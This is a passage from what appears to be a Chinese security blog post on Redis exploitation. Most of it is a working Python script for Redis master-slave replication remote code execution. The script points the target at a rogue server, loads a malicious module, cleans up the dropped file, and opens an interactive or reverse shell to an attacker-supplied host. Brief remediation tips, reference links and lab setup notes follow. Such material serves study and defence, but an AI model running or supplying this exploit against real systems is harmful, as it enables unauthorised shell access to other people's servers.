                cmd = input("33[1;32;40m[<<]33[0m ").strip()
                if cmd == "exit":
                    return
                r = remote.shell_cmd(cmd)
                for l in decode_shell_result(r).split("
    "):
                    if l:
                        print("33[1;34;40m[>>]33[0m " + l)
        except KeyboardInterrupt:
            pass
    
    def reverse(remote):
        info("Open reverse shell...")
        addr = input("Reverse server address: ")
        port = input("Reverse server port: ")
        dout(remote, encode_cmd(f"system.rev {addr} {port}"))
        info("Reverse shell payload sent.")
        info(f"Check at {addr}:{port}")
    
    def cleanup(remote):
        info("Unload module...")
        remote.do("MODULE UNLOAD system")
    
    def runserver(rhost, rport, lhost, lport):
        # expolit
        remote = Remote(rhost, rport)
        info("Setting master...")
        remote.do(f"SLAVEOF {lhost} {lport}")
        info("Setting dbfilename...")
        remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}")
        sleep(2)
        rogue = RogueServer(lhost, lport)
        rogue.exp()
        sleep(2)
        info("Loading module...")
        remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}")
        info("Temerory cleaning up...")
        remote.do("SLAVEOF NO ONE")
        remote.do("CONFIG SET dbfilename dump.rdb")
        remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}")
        rogue.close()
    
        # Operations here
        choice = input("What do u want, [i]nteractive shell or [r]everse shell: ")
        if choice.startswith("i"):
            interact(remote)
        elif choice.startswith("r"):
            reverse(remote)
    
        cleanup(remote)
    
    if __name__ == '__main__':
        print(BANNER)
        parser = OptionParser()
        parser.add_option("--rhost", dest="rh", type="string",
                help="target host", metavar="REMOTE_HOST")
        parser.add_option("--rport", dest="rp", type="int",
                help="target redis port, default 6379", default=6379,
                metavar="REMOTE_PORT")
        parser.add_option("--lhost", dest="lh", type="string",
                help="rogue server ip", metavar="LOCAL_HOST")
        parser.add_option("--lport", dest="lp", type="int",
                help="rogue server listen port, default 21000", default=21000,
                metavar="LOCAL_PORT")
        parser.add_option("--exp", dest="exp", type="string",
                help="Redis Module to load, default exp.so", default="exp.so",
                metavar="EXP_FILE")
        parser.add_option("-v", "--verbose", action="store_true", default=False,
                help="Show full data stream")
    
        (options, args) = parser.parse_args()
        global verbose, payload, exp_mod
        verbose = options.verbose
        exp_mod = options.exp
        payload = open(exp_mod, "rb").read()
    
        if not options.rh or not options.lh:
            parser.error("Invalid arguments")
    
        info(f"TARGET {options.rh}:{options.rp}")
        info(f"SERVER {options.lh}:{options.lp}")
        try:
            runserver(options.rh, options.rp, options.lh, options.lp)
        except Exception as e:
            error(repr(e))

    还有Lua RCE,利用反序列化攻击redis的,可以看Paper

    为什么最近一些公众号也在发redis,这也撞了哈哈

    修复方法:

    1、禁止使用root权限启动redis服务。
    2、对redis访问启动密码认证。
    3、添加IP访问限制,并更改默认6379端口

    参考链接:

    https://paper.seebug.org/1169/#rce

    https://joychou.org/web/phpssrf.html

    http://www.91ri.org/17111.html

    https://xz.aliyun.com/t/1800

    https://xz.aliyun.com/t/5616

    https://xz.aliyun.com/t/5665#toc-13

    https://blog.csdn.net/qq_41107295/article/details/103026470

    https://blog.csdn.net/fly_hps/article/details/80937837

    https://www.runoob.com/redis/redis-commands.html

    工具:

    https://xz.aliyun.com/t/5844

    github搜索gopherus

    环境:

    docker部署(自己在里面安装需要的):https://github.com/justonly1/DockerRedis/blob/master/redis/Dockerfile

    centos7,kali的自行搭建

  • 相关阅读:
    【BestCoder #48】
    【一场模拟赛?】
    【普通の随笔】6.30
    【BestCoder #45】
    【BestCoder #44】
    【普通の惨败】GDOI2015卖萌记
    我的新博客
    【BZOJ 2964】Boss单挑战
    【NOI 2015】软件包管理器
    【NOI 2015】程序自动分析
  • 原文地址:https://www.cnblogs.com/BOHB-yunying/p/12962057.html
Copyright © 2020-2023  润新知